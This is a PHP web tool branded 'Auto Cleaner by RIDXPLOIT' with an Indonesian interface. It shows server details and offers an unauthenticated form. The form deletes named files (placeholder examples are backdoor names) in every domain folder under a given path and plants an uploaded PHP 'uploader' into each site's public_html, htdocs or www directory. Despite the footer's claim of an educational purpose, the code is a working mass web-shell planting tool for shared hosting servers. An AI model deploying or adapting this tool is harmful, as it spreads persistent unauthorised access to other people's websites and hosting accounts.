<?php
$hasilOutput = '';

// === Tambahan: Info Server & Path ===
$serverInfo = [
    'User'            => get_current_user(),
    'System'          => php_uname(),
    'PHP Version'     => PHP_VERSION,
    'Server Software' => $_SERVER['SERVER_SOFTWARE'] ?? 'N/A',
    'Document Root'   => $_SERVER['DOCUMENT_ROOT'] ?? 'N/A',
];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    ob_start();

    $rootPath = rtrim($_POST['root'], '/');
    $filesToDelete = array_filter(array_map('trim', explode(',', $_POST['delete'])));
    $uploader = $_FILES['uploader'];

    echo "<div class='blue'><b>[INFO] Path: $rootPath</b></div>";

    if (!is_dir($rootPath)) {
        echo "<span class='red'>[ERROR] Path tidak ditemukan atau tidak valid.</span><br>";
    } elseif (!is_uploaded_file($uploader['tmp_name'])) {
        echo "<span class='red'>[ERROR] Upload file gagal.</span><br>";
    } else {
        $uploaderCode = file_get_contents($uploader['tmp_name']);
        $uploaderName = basename($uploader['name']);

        function processDomainFolder($dir, $uploaderCode, $backdoorFiles, $uploaderName) {
            foreach ($backdoorFiles as $file) {
                $target = $dir . '/' . trim($file);
                if (file_exists($target)) {
                    unlink($target);
                    echo "<span class='red'>[x] Dihapus: $target</span><br>";
                }
            }

            $uploadTargetDir = $dir;
            $publicDirs = ['public_html', 'htdocs', 'www'];
            foreach ($publicDirs as $pubDir) {
                if (is_dir($dir . '/' . $pubDir)) {
                    $uploadTargetDir = $dir . '/' . $pubDir;
                    echo "<span class='blue'>[INFO] Ditemukan folder publik: $uploadTargetDir</span><br>";
                    break;
                }
            }

            $uploaderPath = $uploadTargetDir . '/' . $uploaderName;
            if (!file_exists($uploaderPath)) {
                file_put_contents($uploaderPath, $uploaderCode);
                echo "<span class='green'>[+] Ditanam: $uploaderPath</span><br>";
            } else {
                echo "<span class='yellow'>[!] Sudah ada: $uploaderPath</span><br>";
            }
        }

        $folders = scandir($rootPath);
        $adaFolder = false;

        foreach ($folders as $folder) {
            if ($folder === '.' || $folder === '..') continue;
            $fullPath = $rootPath . '/' . $folder;
            if (is_dir($fullPath)) {
                echo "<div class='blue'><b>>> Proses: $fullPath</b></div>";
                processDomainFolder($fullPath, $uploaderCode, $filesToDelete, $uploaderName);
                $adaFolder = true;
            }
        }

        if (!$adaFolder) {
            echo "<div class='blue'><b>>> Proses: $rootPath</b></div>";
            processDomainFolder($rootPath, $uploaderCode, $filesToDelete, $uploaderName);
        }
    }

    $hasilOutput = ob_get_clean();
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>Auto Cleaner by RIDXPLOIT</title>
    <style>
        body {
            background-color: black;
            color: white;
            font-family: monospace;
            display: flex;
            justify-content: center;
            align-items: flex-start;
            padding-top: 40px;
            height: 100vh;
            font-size: 22px;
        }
        .container {
            text-align: center;
            width: 1000px;
            border: 3px solid #ff0000;
            padding: 40px;
            background-color: #111;
            box-shadow: 0 0 25px #ff0000;
            border-radius: 10px;
        }
        /* Input styling */
        .form-col input[type="text"],
        .form-col input[type="file"] {
            width: 100%;
            box-sizing: border-box;
            padding: 12px;
            background-color: #000;
            color: #fff;
            border: 2px solid #ff0000;
            margin-bottom: 10px;
            font-size: 16px;
        }
        input[type="submit"] {
            padding: 14px 50px;
            background-color: #ff0000;
            border: none;
            color: black;
            font-weight: bold;
            font-size: 20px;
            cursor: pointer;
            margin-top: 20px;
        }
        .output {
            background: #000;
            margin-top: 30px;
            padding: 25px;
            color: white;
            font-family: monospace;
            font-size: 13px;
            text-align: left;
            border: 1px solid #444;
            max-height: 400px;
            overflow-y: auto;
        }
        .red { color: #ff3333; }
        .green { color: #33ff33; }
        .yellow { color: #ffff66; }
        .blue { color: #66ccff; margin-top: 10px; }
        .info-box {
            text-align: left;
            font-size: 14px;
            background: #000;
            border: 1px solid #ff0000;
            padding: 15px;
            margin-bottom: 20px;
            overflow-x: auto;
            border-radius: 8px;
        }
        .info-box table {
            width: 100%;
            border-collapse: collapse;
        }
        .info-box td {
            padding: 6px;
            border-bottom: 1px solid #333;
        }
        .info-box td:first-child {
            color: #66ccff;
            width: 35%;
        }
        .info-box td:last-child {
            color: #ffff66;
        }
        /* Layout flex untuk input */
        .form-flex {
            display: flex;
            justify-content: space-between;
            gap: 20px;
            margin-top: 20px;
        }
        .form-col {
            flex: 1;
            text-align: left;
        }
        .form-col label {
            font-size: 14px;
            color: #ccc;
        }
        /* Footer */
        .footer {
            margin-top: 40px;
            font-size: 14px;
            color: #aaa;
            border-top: 1px solid #333;
            padding-top: 15px;
        }
        .footer .copy {
            color: #ff0000;
            font-weight: bold;
        }
    </style>
</head>
<body>
    <div class="container">

        <!-- Info Server -->
        <div class="info-box">
            <b style="color:#ff0000;">[ SERVER INFO ]</b><br><br>
            <table>
                <?php foreach ($serverInfo as $key => $value): ?>
                    <tr>
                        <td><?= htmlspecialchars($key) ?></td>
                        <td><?= htmlspecialchars($value) ?></td>
                    </tr>
                <?php endforeach; ?>
            </table>
        </div>

        <form method="post" enctype="multipart/form-data">
            <div class="form-flex">
                <div class="form-col">
                    <label>MASUKKAN PATH ROOT</label><br>
                    <input type="text" name="root" placeholder="/home/nightwin" required>
                </div>
                <div class="form-col">
                    <label>FILE YANG INGIN DIHAPUS</label><br>
                    <input type="text" name="delete" placeholder="contoh: backdoor.php, wp-koc.php">
                </div>
                <div class="form-col">
                    <label>UPLOAD FILE PHP</label><br>
                    <input type="file" name="uploader" accept=".php" required>
                </div>
            </div>
            <input type="submit" value="EKSEKUSI">
        </form>

        <?php if (!empty($hasilOutput)): ?>
            <div class="output">
                <?= $hasilOutput ?>
            </div>
        <?php endif; ?>

        <!-- Footer -->
        <div class="footer">
            <div class="copy">© 2025 RIDXPLOIT</div>
            <div class="desc">Program ini dibuat khusus untuk mempermudah proses pembersihan file berbahaya dan penanaman file uploader secara otomatis. Dikembangkan oleh RIDXPLOIT dengan tujuan edukasi dan penelitian.</div>
        </div>
    </div>
</body>
</html>
